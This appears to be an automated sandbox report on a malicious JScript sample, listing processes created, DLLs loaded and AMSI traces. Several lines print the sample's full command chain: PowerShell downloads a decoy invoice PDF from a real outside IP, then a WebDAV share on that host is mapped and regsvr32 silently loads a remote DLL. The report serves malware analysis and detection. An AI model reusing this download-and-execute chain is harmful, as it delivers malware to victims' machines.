Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,16345293341959099244,7152313826885755216,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,16345293341959099244,7152313826885755216,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1319.js.csv");ITextStream.WriteLine(" entry:7376 f:ocyvsmf");ITextStream.WriteLine(" exec:2 f:ocyvsmf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
